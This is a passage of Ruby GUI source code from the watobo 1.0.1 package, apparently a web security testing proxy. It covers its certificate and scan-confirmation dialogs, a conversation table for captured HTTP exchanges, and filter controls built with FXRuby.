@scope_only_cb.checked?) { |site| #puts "Site: #{site}" @sites_combo.appendItem(site, site) } @sites_combo.numVisible = @sites_combo.numItems >= 20 ? 20 : @sites_combo.numItems @sites_combo.setCurrentItem(0, true) if @sites_combo.numItems > 0 # @sites_combo.text = @sites_combo.getItemText(@sites_combo.currentItem) @sites_combo.handle(self, FXSEL(SEL_UPDATE, 1), nil) end def select_cert_file() cert_filename = FXFileDialog.getOpenFilename(self, "Select Certificate File", @cert_path) if cert_filename != "" then if File.exist?(cert_filename) then @client_cert_dt.value = cert_filename @client_cert_txt.handle(self, FXSEL(SEL_UPDATE, 0), nil) @cert_path = File.dirname(cert_filename) end end end def update_fields(sender, sel, item) @site_dt.value = item c = Watobo::ClientCertStore.get(item) return false if c.nil? i = c[:type] == :pem ? 0 : 1 @tabBook.current = i @cert_settings[i].update_fields c end def onAccept(sender, sel, event) password = nil if @site_dt.value.empty? or @site_dt.value == NO_SELECTION FXMessageBox.information(self, MBOX_OK, "No Site Selected", "You must select a site from the drop down list.") return 0 end index = @tabBook.current unless @cert_settings[index].settings_valid? puts "Wrong settings" return 0 end Watobo::ClientCertStore.set(@site_dt.value, @cert_settings[index].cert) getApp().stopModal(self, 1) self.hide() return 1 end end end end watobo-1.0.1/lib/watobo/gui/confirm_scan_dialog.rb000066400000000000000000000030321366346341400221460ustar00rootroot00000000000000require 'watobo/gui/conversation_table' # @private module Watobo#:nodoc: all module Gui class ConfirmScanDialog < FXDialogBox include Responder attr :scope def onAccept(sender, sel, event) getApp().stopModal(self, 1) self.hide() return 1 end def initialize(owner, chatlist, scan_settings={}) super(owner, "Confirm Scan", DECOR_ALL, :width => 500, :height => 400) FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) base_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) FXLabel.new(base_frame, "The following #{chatlist.length} chats will be scanned:") # @chatTable = ConversationTable.new(base_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) puts chatlist.length @chatTable = ConversationTable.new(base_frame) @chatTable.showConversation(chatlist) buttons_frame = FXHorizontalFrame.new(base_frame, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) @finishButton = FXButton.new(buttons_frame, "Accept" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @finishButton.enable @finishButton.connect(SEL_COMMAND) do |sender, sel, item| #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) end @cancelButton = FXButton.new(buttons_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end end end end watobo-1.0.1/lib/watobo/gui/conversation_table.rb000077500000000000000000000477661366346341400221000ustar00rootroot00000000000000class CustomTableItem < FXTableItem attr_accessor :color attr_accessor :backcolor def drawContent table, unusable_dc, x, y, w, h FXDCWindow.new(table) {|dc| if @color and not selected? if @backcolor dc.foreground = @backcolor hg = table.horizontalGridShown? ? 1 : 0 vg = table.verticalGridShown? ? 1 : 0 dc.fillRectangle(x + vg, y + hg, w - vg, h - hg) end dc.foreground = @color def dc.setForeground color 1 # stop super from setting color back end end dc.setFont unusable_dc.getFont super table, dc, x, y, w, h } end end class FXColoredTable < FXTable def createItem *parameters CustomTableItem.new(*parameters) end def setItemTextColor row, column, color getItem(row, column).color = color updateItem row, column end def setCellBackground row, column, color getItem(row, column).backcolor = color # puts getItem(row, column).methods.sort # updateItem row, column end end # @private module Watobo #:nodoc: all module Gui TABLE_COL_METHOD = 0x0001 TABLE_COL_HOST = 0x0002 TABLE_COL_PATH = 0x0004 TABLE_COL_PARMS = 0x0008 TABLE_COL_STATUS = 0x0010 TABLE_COL_COOKIE = 0x0020 TABLE_COL_COMMENT = 0x0040 TABLE_COL_SSL = 0x0100 class ConversationTable < FXTable # class ConversationTable < FXColoredTable attr :filter, :current_chat_list attr_accessor :autoscroll attr_accessor :url_decode include Watobo::Gui::Icons def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def clearEvents(event) @event_dispatcher_listeners[event] ||= [] @event_dispatcher_listeners[event].clear end def notify(event, *args) if @event_dispatcher_listeners[event] # puts "NOTIFY: #{self}(:#{event}) [#{@event_dispatcher_listeners[event].length}]" if $DEBUG @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end def num_total @current_chat_list.length end def num_visible self.numRows end def apply_filter(filter = {}) @filter = filter puts @filter.to_yaml if $DEBUG update_table end def current_chat # puts currentRow if currentRow >= 0 #chatid = getRowText(currentRow).to_i #chat = Watobo::Chats.get_by_id(chatid) chat = chat_at_row(currentRow) return chat end return nil end def chat_at_row(row) index = @col_order.index(TABLE_COL_SSL) getItemData(row, index) end def chat_visible?(chat) begin return false if @filter[:ok_only] == true and chat.response.responseCode !~ /200/ if @filter[:unique] unless Watobo::Gui.project.nil? uniq_hash = Watobo::Gui.project.uniqueRequestHash chat.request return false if @uniq_chats.has_key? uniq_hash @uniq_chats[uniq_hash] = nil end end if @filter[:show_scope_only] unless Watobo::Gui.project.nil? return false unless Watobo::Scope.match_site?(chat.request.site) end end # puts "* passed scope" if @filter[:hide_tested] return false if chat.tested? end # puts "* passed hide tested" unless @filter[:doc_filter].include?(chat.request.doctype) return true if @filter[:text].empty? return true if @filter[:url] == true and chat.request.first =~ /#{@filter[:text]}/i return true if @filter[:request] == true and chat.request.join =~ /#{@filter[:text]}/i # puts @filter.to_yaml # puts chat.response.responseCode if @filter[:response] == true return false if @filter[:text_only] == true and chat.response.content_type !~ /(text|javascript|xml|json)/ return true if chat.response.join.unpack("C*").pack("C*") =~ /#{@filter[:text]}/i end end rescue => bang puts "! could not add chat to table !".upcase # puts chat.id puts bang puts bang.backtrace if $DEBUG end false end def showConversation(chat_list = nil, prefs = {}) clearConversation() if chat_list.nil? Watobo::Chats.each do |chat| addChat(chat, prefs) end else chat_list.each_with_index do |chat, i| #puts " - #{i} / #{chat_list.length}" addChat(chat, prefs) end end adjustCellWidth() end def setNewFont(font_type = nil, size = nil) begin new_size = size.nil? ? GUI_REGULAR_FONT_SIZE : size new_font_type = font_type.nil? ? "helvetica" : font_type new_font = FXFont.new(getApp(), new_font_type, new_size) new_font.create self.font = new_font self.rowHeader.font = new_font self.defRowHeight = new_size + 10 update_table() rescue => bang puts bang puts bang.backtrace if $DEBUG end end def updateComment(row, comment) col = @col_order.index(TABLE_COL_COMMENT) self.setItemText(row, col, comment.gsub(/[^[:print:]]/, ' ')) end def addChat(chat, *prefs) return false if chat.nil? if self.getNumRows <= 0 then clearConversation() # initColumns() end @current_chat_list.push chat if prefs.include? :ignore_filter add_chat_row(chat) return true end add_chat_row(chat) if Chats.match?(chat, @filter) return true end def initColumns() self.setTableSize(0, @columns.length) self.visibleRows = 20 self.visibleColumns = @columns.length @columns.each do |type, name| index = @col_order.index(type) self.setColumnText(index, name) self.setColumnIcon(@col_order.index(TABLE_COL_SSL), TBL_ICON_LOCK) # puts self.getItem(@col_order.index(col), 0 ).class.to_s end end def initialize(owner, unused = nil) @event_dispatcher_listeners = Hash.new super(owner, :opts => TABLE_COL_SIZABLE | TABLE_ROW_SIZABLE | LAYOUT_FILL_X | LAYOUT_FILL_Y | TABLE_READONLY | LAYOUT_SIDE_TOP, :padding => 2) @filter = {} @url_decode = true self.setBackColor(FXRGB(255, 255, 255)) self.setCellColor(0, 0, FXRGB(255, 255, 255)) self.setCellColor(0, 1, FXRGB(255, 240, 240)) self.setCellColor(1, 0, FXRGB(240, 255, 240)) self.setCellColor(1, 1, FXRGB(240, 240, 255)) # reset_filter # FXMAPFUNC(SEL_CLICKED, FXTable::ID_SELECT_CELL, :onSelectCell) @current_chat_list = [] @uniq_chats = Hash.new @columns = Hash.new @cell_width = Hash.new @col_order = [] @autoscroll = false @columns = Hash.new @columns[TABLE_COL_METHOD] = "Method" @columns[TABLE_COL_HOST] = "Host" @columns[TABLE_COL_PATH] = "Path" @columns[TABLE_COL_PARMS] = "Parameters" @columns[TABLE_COL_STATUS] = "Status" @columns[TABLE_COL_COOKIE] = "Set-Cookie" @columns[TABLE_COL_COMMENT] = "Comment" @columns[TABLE_COL_SSL] = "" # initialize columns order @col_order = [TABLE_COL_SSL, TABLE_COL_METHOD, TABLE_COL_HOST, TABLE_COL_PATH, TABLE_COL_PARMS, TABLE_COL_STATUS, TABLE_COL_COOKIE, TABLE_COL_COMMENT] # init cell width @cell_width = Hash.new @cell_width[TABLE_COL_METHOD] = 50 @cell_width[TABLE_COL_HOST] = 120 @cell_width[TABLE_COL_PATH] = 200 @cell_width[TABLE_COL_PARMS] = 150 @cell_width[TABLE_COL_STATUS] = 50 @cell_width[TABLE_COL_COOKIE] = 70 @cell_width[TABLE_COL_COMMENT] = 100 @cell_width[TABLE_COL_SSL] = 20 @cell_width_defaults = Hash.new @cell_width_defaults.update YAML.load(YAML.dump(@cell_width)) @cell_auto_max = 400 @cell_min_width = 30 initColumns() self.cornerButton.connect(SEL_COMMAND) do |sender, sel, index| # just a dummy function for disabling default functionality which lets hang watobo end # SEL_CHANGED is triggered if column size is manually changed self.columnHeader.connect(SEL_CHANGED) do |sender, sel, index| #puts index type = @col_order[index] @cell_width[type] = self.getColumnWidth(index) end self.columnHeader.connect(SEL_COMMAND) do |sender, sel, index| #puts index unless index == 0 type = @col_order[index] column_width = self.getColumnWidth(index) new_width = case column_width when column_width > @cell_auto_max @cell_auto_max when (column_width > @cell_width_defaults[type]) @cell_width_defaults[type] when @cell_width_defaults[type] self.fitColumnsToContents(index) w = self.getColumnWidth(index) w = @cell_auto_max if self.getColumnWidth(index) > @cell_auto_max w = @cell_width_defaults[type] if self.getColumnWidth(index) < @cell_width_defaults[type] w else @cell_width_defaults[type] end self.setColumnWidth(index, new_width) @cell_width[type] = new_width self.rowHeaderMode = 0 adjustCellWidth() end end self.connect(SEL_CHANGED) {|sender, sel, item| # puts "SEL_CHANGED #{item.row}" self.selectRow(item.row, false) chat = self.getItemData(item.row, 0) notify(:chat_selected, chat) if chat.respond_to? :request } self.connect(SEL_COMMAND) {|sender, sel, item| #puts "SEL_COMMAND #{item.row}" self.selectRow(item.row, false) chat = self.getItemData(item.row, 0) notify(:chat_selected, chat) if chat.respond_to? :request } self.connect(SEL_DOUBLECLICKED) {|sender, sel, item| # puts "SEL_DOUBLECLICKED #{item.row}" if item.row >= 0 self.selectRow(item.row, false) chat = self.getItemData(item.row, 0) notify(:chat_doubleclicked, chat) if chat.respond_to? :request end } self.connect(SEL_SELECTED) {|sender, sel, item| # puts "SEL_SELECTED #{item.row}" self.selectRow(item.row, false) chat = self.getItemData(item.row, 0) notify(:chat_selected, chat) if chat.respond_to? :request } adjustCellWidth() addHotkeyHandler(self) # start_update_timer end def scrollUp() #self.makePositionVisible(0, 0) self.setPosition(self.xPosition, 0) end def scrollDown() #self.makePositionVisible(self.numRows-1, 0) #puts "[scrollDown] >>" #puts "xPos: #{self.xPosition}" #puts "yPos: #{self.yPosition}" #puts "viewportHeight: #{self.viewportHeight}" #puts "contentHeight: #{self.contentHeight}" #puts "y-diff: #{self.viewportHeight - self.contentHeight}" #puts "---" self.setPosition(self.xPosition, (self.viewportHeight - self.contentHeight)) end #def start_update_timer # @last_row_count = 0 # Watobo.save_thread { # if self.getNumRows != @last_row_count # scrollDown if @autoscroll == true # @last_row_count = self.getNumRows # end # } #end def clearConversation() self.clearItems @current_chat_list = [] initColumns() adjustCellWidth() end private def add_chat_row(chat) return false unless chat.respond_to? :request return false unless chat.respond_to? :response return false if chat.request.nil? return false if chat.response.nil? lastRowIndex = self.getNumRows self.appendRows(1) # self.rowHeader.setItemJustify(lastRowIndex, FXHeaderItem::RIGHT) self.setRowText(lastRowIndex, chat.id.to_s) index = @col_order.index(TABLE_COL_SSL) self.setItemIcon(lastRowIndex, index, TBL_ICON_LOCK) if chat.request.is_ssl? setItemData(lastRowIndex, index, chat) index = @col_order.index(TABLE_COL_METHOD) self.setItemText(lastRowIndex, index, chat.request.method) self.getItem(lastRowIndex, index).justify = FXTableItem::LEFT index = @col_order.index(TABLE_COL_HOST) self.setItemText(lastRowIndex, index, chat.request.host) self.getItem(lastRowIndex, index).justify = FXTableItem::LEFT index = @col_order.index(TABLE_COL_PATH) self.setItemText(lastRowIndex, index, chat.request.path) self.getItem(lastRowIndex, index).justify = FXTableItem::LEFT index = @col_order.index(TABLE_COL_PARMS) ps = "" rup = chat.request.urlparms unless rup.nil? ps << rup end if chat.request.method =~ /(POST|PUT)/i and !chat.request.body.nil? then post_parms_string = '' post_parms_string << chat.request.body ps << "&&" unless ps.empty? ps << post_parms_string end ps = "*MULTIPART*" if chat.request.content_type =~ /multipart/i parms = "" unless ps.empty? ps_ascii = ps.force_encoding('ASCII-8BIT') if @url_decode == true if chat.request.content_type =~ /(json|xml)/ parms = ps_ascii else parms = CGI.unescape(ps_ascii) end end # clean parms parms.gsub!("\n",'') parms.gsub!(/[^[:print:]]/, '.') parms.gsub!(/\s+/,' ') end self.setItemText(lastRowIndex, index, parms[0..150]) self.getItem(lastRowIndex, index).justify = FXTableItem::LEFT index = @col_order.index(TABLE_COL_STATUS) self.setItemText(lastRowIndex, index, chat.response.status) self.getItem(lastRowIndex, index).justify = FXTableItem::LEFT if chat.response.header_value("set-cookie").first then index = @col_order.index(TABLE_COL_COOKIE) self.setItemText(lastRowIndex, index, chat.response.header_value("set-cookie").first.chomp) self.getItem(lastRowIndex, index).justify = FXTableItem::LEFT end if chat.comment then index = @col_order.index(TABLE_COL_COMMENT) comment = chat.comment.split(/\n/).join(" ") cc = comment[0..50] cc += "..." if comment.length > 50 self.setItemText(lastRowIndex, index, cc) self.getItem(lastRowIndex, index).justify = FXTableItem::LEFT end self.setItemData(lastRowIndex, 0, chat) #self.makePositionVisible(self.numRows-1, 0) if @autoscroll == true if @autoscroll == true self.setPosition(self.xPosition, (self.viewportHeight - self.contentHeight - 20)) end end def update_table() self.clearItems initColumns() adjustCellWidth() # Watobo::Chats.filtered(@filter) do |chat| # add_chat_row(chat) # end @current_chat_list.each do |chat| if Watobo::Chats.match?(chat, @filter) add_chat_row(chat) end end end def adjustCellWidth() begin self.rowHeader.width = 40 #self.fitColumnsToContents(0) @cell_width.each do |col, width| pos = @col_order.index(col) self.setColumnWidth(pos, width) end rescue => bang puts "!!!ERROR: adjustCellWidth" end end def addHotkeyHandler(widget) @ctrl_pressed = false widget.connect(SEL_KEYPRESS) {|sender, sel, event| # puts event.code cont = false @ctrl_pressed = true if event.code == KEY_Control_L or event.code == KEY_Control_R # @shift_pressed = true if @ctrl_pressed and ( event.code == KEY_Shift_L or event.code == KEY_Shift_R ) if event.code == KEY_Return chat = current_chat notify(:chat_doubleclicked, chat) if chat.respond_to? :request cont = true # special handling of KEY_Return, because we don't want a linebreak in textbox. end case event.code when KEY_F1 unless event.moved? FXMenuPane.new(self) do |menu_pane| FXMenuCaption.new(menu_pane, "Hotkeys:") FXMenuSeparator.new(menu_pane) ["G - Goto", " - Goto Next", " - Goto Prev", " - Edit Comment" ].each do |hk| FXMenuCaption.new(menu_pane, hk).backColor = 'yellow' end menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end when KEY_space chat = current_chat notify(:edit_comment, chat) if chat when KEY_G open_goto_url_dialog cont = true end if @ctrl_pressed case event.code when KEY_n show_next when KEY_N show_prev when KEY_f notify(:open_filter_dlg) end cont = false end cont } widget.connect(SEL_KEYRELEASE) {|sender, sel, event| @ctrl_pressed = false if event.code == KEY_Control_L or event.code == KEY_Control_R false } end def open_goto_url_dialog @url_pattern ||= "" dlg = Watobo::Gui::GotoUrlDialog.new(self, @url_pattern) if dlg.execute != 0 then @url_pattern = dlg.url_pattern show_nearest() end true end def show_next() i = get_next_match if i >= 0 selectRow(i, false) setCurrentItem(i, 2) makePositionVisible(i, 2) end end def show_prev() i = get_prev_match if i >= 0 selectRow(i, false) setCurrentItem(i, 2) makePositionVisible(i, 2) end end def show_nearest() sel = -1 pi = get_prev_match() ni = get_next_match() sel = pi if (ni >= 0) and (pi >= 0) sel = (currentRow - pi) > (ni - currentRow) ? ni : pi elsif pi >= 0 sel = pi else sel = ni end if sel >= 0 selectRow(sel, false) setCurrentItem(sel, 2) makePositionVisible(sel, 2) end false end def get_next_match() return -1 if @url_pattern.nil? return -1 if @url_pattern.empty? row = currentRow + 1 match = -1 while row < numRows chat = self.getItemData(row, 0) if chat.request.url.to_s =~ /#{@url_pattern}/i match = row #puts chat.request.url.to_s end return match if match >= 0 row += 1 end match end def get_prev_match() return -1 if @url_pattern.nil? return -1 if @url_pattern.empty? row = currentRow - 1 match = -1 while row >= 0 chat = self.getItemData(row, 0) if chat.request.url.to_s =~ /#{@url_pattern}/i match = row #puts chat.request.url.to_s end return match if match >= 0 row -= 1 end match end end end end watobo-1.0.1/lib/watobo/gui/conversation_table_ctrl.rb000066400000000000000000000206041366346341400230770ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class ConversationTableCtrl < FXVerticalFrame include Watobo::Constants include Watobo::Gui::Icons def table=(table) @table = table @table.subscribe(:table_changed) { update_info } end def initialize(owner, opts) super(owner, opts ) @table = nil @tabBook = FXTabBook.new(self, nil, 0, :opts => LAYOUT_FILL_X|LAYOUT_RIGHT, :padding => 0) docfilter_tab = FXTabItem.new(@tabBook, "Doc Filter", nil) docfilter_frame = FXHorizontalFrame.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) @foption_nopix = FXCheckButton.new(docfilter_frame, "excl. pics", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @foption_nopix.setCheck(true) @foption_nodocs = FXCheckButton.new(docfilter_frame, "excl. docs", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @foption_nodocs.setCheck(true) @foption_nojs = FXCheckButton.new(docfilter_frame, "excl. javascript", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @foption_nojs.setCheck(true) @foption_nocss = FXCheckButton.new(docfilter_frame, "excl. style sheets", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @foption_nocss.setCheck(true) search_tab = FXTabItem.new(@tabBook, "Text Filter", nil) search_frame = FXHorizontalFrame.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) FXButton.new(search_frame, "Clear", nil, nil, 0, FRAME_RAISED|FRAME_THICK).connect(SEL_COMMAND) { clear_text_filter } @text_filter = FXTextField.new(search_frame, 20, nil, 0, FRAME_SUNKEN|FRAME_THICK|LAYOUT_FILL_X) # filterOptionsFrame =FXHorizontalFrame.new(fbox, LAYOUT_FILL_X) @foption_url = FXCheckButton.new(search_frame, "URL", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @foption_url.setCheck(true) @foption_url.connect(SEL_COMMAND){ update_text_filter } @foption_req = FXCheckButton.new(search_frame, "Full Request", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @foption_req .connect(SEL_COMMAND){ update_text_filter } @foption_res = FXCheckButton.new(search_frame, "Full Response", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @foption_res.connect(SEL_COMMAND){ update_text_filter } options_tab = FXTabItem.new(@tabBook, "Options", nil) options_frame = FXHorizontalFrame.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) @table_option_autoscroll = FXCheckButton.new(options_frame, "autoscroll", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @table_option_autoscroll.setCheck(true) @table_option_unique = FXCheckButton.new(options_frame, "unique chats", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @table_option_unique.setCheck(false) @table_option_scope = FXCheckButton.new(options_frame, "scope only", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @table_option_scope.setCheck(false) @table_option_hidetested_cb = FXCheckButton.new(options_frame, "hide tested", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @table_option_hidetested_cb.setCheck(false) @table_option_ok_only = FXCheckButton.new(options_frame, "200 only (Response)", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @table_option_ok_only.setCheck(false) @table_option_text_only = FXCheckButton.new(options_frame, "text content-type only (Response)", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @table_option_text_only.setCheck(false) @table_option_autoscroll.connect(SEL_COMMAND) { @table.autoscroll = @table_option_autoscroll.checked? unless @table.nil? } #applyFilterButton = FXButton.new(conversation_frame, "Apply", nil, nil, 0, FRAME_RAISED|FRAME_THICK) button_frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X, :padding => 0) FXButton.new(button_frame, "Apply", nil, nil, 0, FRAME_RAISED|FRAME_THICK).connect(SEL_COMMAND) { apply_filter } #FXButton.new(docfilter_button_frame, "Clear", nil, nil, 0, FRAME_RAISED|FRAME_THICK).connect(SEL_COMMAND, method(:onClear)) @text_filter.connect(SEL_COMMAND){ apply_filter } FXButton.new(button_frame, "", ICON_BTN_UP, nil, 0, FRAME_RAISED|FRAME_THICK).connect(SEL_COMMAND) { @table.scrollUp() unless @table.nil? } FXButton.new(button_frame, "", ICON_BTN_DOWN, nil, 0, FRAME_RAISED|FRAME_THICK).connect(SEL_COMMAND) { @table.scrollDown() unless @table.nil? } @info_txt = FXLabel.new( button_frame, "0/0", :opts => LAYOUT_RIGHT) @tabBook.connect(SEL_LEFTBUTTONRELEASE){ x = getApp.activeWindow.x + self.x + self.parent.x + self.parent.parent.x + self.parent.parent.parent.x y = getApp.activeWindow.y + self.y + self.parent.y + self.parent.parent.y + self.parent.parent.parent.y + self.parent.parent.parent.parent.y FXMenuPane.new(self) do |menu_pane| frame = FXVerticalFrame.new(menu_pane, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) 10.times do |i| FXLabel.new(frame, "Label #{i}") end menu_pane.create #menu_pane.popup(nil, x, y, 200, 200) menu_pane.popup(nil, x, y) app.runModalWhileShown(menu_pane) puts "done!" end } end def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def filter_settings doctype_filter = [] doctype_filter.concat(Watobo::Conf::Gui.fext_img) if @foption_nopix.checked? doctype_filter.concat(Watobo::Conf::Gui.fext_docs) if @foption_nodocs.checked? doctype_filter.concat(Watobo::Conf::Gui.fext_javascript) if @foption_nojs.checked? doctype_filter.concat(Watobo::Conf::Gui.fext_style) if @foption_nocss.checked? text = @text_filter.enabled? ? @text_filter.text : "" fs = { :show_scope_only => @table_option_scope.checked?, :text => text, :url => @foption_url.checked?, :request => @foption_req.checked?, :response => @foption_res.checked?, :hide_tested => @table_option_hidetested_cb.checked?, :doc_filter => doctype_filter, :unique => @table_option_unique.checked?, :ok_only => @table_option_ok_only.checked?, :text_only => @table_option_text_only.checked? } fs end private def update_info if @table.respond_to? :num_total @info_txt.text = "#{@table.num_visible}/#{@table.num_total}" end end def clearEvents(event) @event_dispatcher_listener[event].clear end def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end def clear_text_filter @text_filter.text = '' apply_filter end def apply_filter unless @table.nil? getApp().beginWaitCursor do @table.apply_filter(filter_settings) update_info end end end def update_text_filter if @foption_url.checked? or @foption_req.checked? or @foption_res.checked? @text_filter.enable else @text_filter.disable end end def filter_settings doctype_filter = [] doctype_filter.concat(Watobo::Conf::Gui.fext_img) if @foption_nopix.checked? doctype_filter.concat(Watobo::Conf::Gui.fext_docs) if @foption_nodocs.checked? doctype_filter.concat(Watobo::Conf::Gui.fext_javascript) if @foption_nojs.checked? doctype_filter.concat(Watobo::Conf::Gui.fext_style) if @foption_nocss.checked? text = @text_filter.enabled? ? @text_filter.text : "" unless text.empty? begin "test for valid regex".match(/#{text}/) rescue => bang text = Regexp.quote(@text_filter.text) end end fs = { :show_scope_only => @table_option_scope.checked?, :text => text, :url => @foption_url.checked?, :request => @foption_req.checked?, :response => @foption_res.checked?, :hide_tested => @table_option_hidetested_cb.checked?, :doc_filter => doctype_filter, :unique => @table_option_unique.checked? } fs end end end endwatobo-1.0.1/lib/watobo/gui/conversation_table_ctrl2.rb000066400000000000000000000460551366346341400231710ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui # class ConversationFilterFrame < FXVerticalFrame class ConversationFilterDialog < FXDialogBox include Responder def filter_settings fs = { :scope_only => @table_option_scope.checked?, :hide_tested => @table_option_hidetested_cb.checked?, :unique => @table_option_unique.checked? } pattern = @text_filter.text unless pattern.empty? begin "test for valid regex".match(/#{pattern}/) rescue => bang pattern = Regexp.quote(@text_filter.text) end end fs[:url_pattern] = @foption_url.checked? ? pattern : '' fs[:request_pattern] = @foption_req.checked? ? pattern : '' fs[:response_pattern] = @foption_res.checked? ? pattern : '' fs[:comment_pattern] = @foption_comment.checked? ? pattern : '' fs[:negate_pattern_search] = @negate_pattern_search.checked? mime_types = [] mime_types << "html" if @mime_html.checked? mime_types << "css" if @mime_css.checked? mime_types << "flash" if @mime_flash.checked? mime_types << "script" if @mime_script.checked? mime_types << "xml" if @mime_xml.checked? mime_types << "json" if @mime_json.checked? fs[:mime_types] = mime_types status_codes = [] status_codes << "^2" if @status_2.checked? status_codes << "^3" if @status_3.checked? status_codes << "^4" if @status_4.checked? status_codes << "^5" if @status_5.checked? fs[:status_codes] = status_codes hidden_extension_patterns = [] hidden_extension_patterns.concat @hide_ex.text.split(",").map{|e| e.strip } # hidden_extension_patterns.concat @hide_images_ex.text.split(",").map{|e| e.strip } if @hide_images.checked? fs[:hidden_extension_patterns] = hidden_extension_patterns fs[:hidden_extensions] = @hide_ex_cb.checked? show_extension_patterns = [] show_extension_patterns.concat @show_only_ex.text.split(",").map{|e| e.strip } fs[:show_extensions] = @show_extensions_cb.checked? fs[:show_extension_patterns] = show_extension_patterns fs end def initialize(owner, filter) super(owner, "Filter Settings", :opts => DECOR_NONE|LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED ) FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) matrix = FXMatrix.new(main, 5, :opts => MATRIX_BY_COLUMNS|LAYOUT_FILL_X|LAYOUT_FILL_Y) f = FXVerticalFrame.new(matrix, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) general_gb = FXGroupBox.new(f, "General", FRAME_GROOVE|LAYOUT_FILL_X|LAYOUT_FILL_Y, 0, 0, 0, 0) general_frame = FXVerticalFrame.new(general_gb, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @table_option_unique = FXCheckButton.new(general_frame, "unique chats", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = filter.has_key?(:unique) ? filter[:unique] : false @table_option_unique.setCheck(state) @table_option_scope = FXCheckButton.new(general_frame, "scope only", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = filter.has_key?(:scope_only) ? filter[:scope_only] : false @table_option_scope.setCheck(state) @table_option_hidetested_cb = FXCheckButton.new(general_frame, "hide tested", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = filter.has_key?(:hide_tested) ? filter[:hide_tested] : false @table_option_hidetested_cb.setCheck(state) f = FXVerticalFrame.new(matrix, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) mime_types_gb = FXGroupBox.new(f, "MIME Types", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X|LAYOUT_FILL_Y, 0, 0, 0, 0) mime_types_frame = FXVerticalFrame.new(mime_types_gb, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @mime_json = FXCheckButton.new(mime_types_frame, "JSON", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = filter.has_key?(:mime_types) ? filter[:mime_types].include?("json") : false @mime_json.setCheck(state) @mime_html = FXCheckButton.new(mime_types_frame, "HTML", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = filter.has_key?(:mime_types) ? filter[:mime_types].include?("html") : false @mime_html.setCheck(state) @mime_css = FXCheckButton.new(mime_types_frame, "CSS", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = filter.has_key?(:mime_types) ? filter[:mime_types].include?("css") : false @mime_css.setCheck(state) @mime_xml = FXCheckButton.new(mime_types_frame, "XML", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = filter.has_key?(:mime_types) ? filter[:mime_types].include?("xml") : false @mime_xml.setCheck(state) @mime_script = FXCheckButton.new(mime_types_frame, "Script", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = filter.has_key?(:mime_types) ? filter[:mime_types].include?("script") : false @mime_script.setCheck(state) @mime_flash = FXCheckButton.new(mime_types_frame, "Flash", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) state = filter.has_key?(:mime_types) ? filter[:mime_types].include?("flash") : false @mime_flash.setCheck(state) f = FXVerticalFrame.new(matrix, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) status_codes_gb = FXGroupBox.new(f, "Status Codes", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X|LAYOUT_FILL_Y, 0, 0, 0, 0) status_codes_frame = 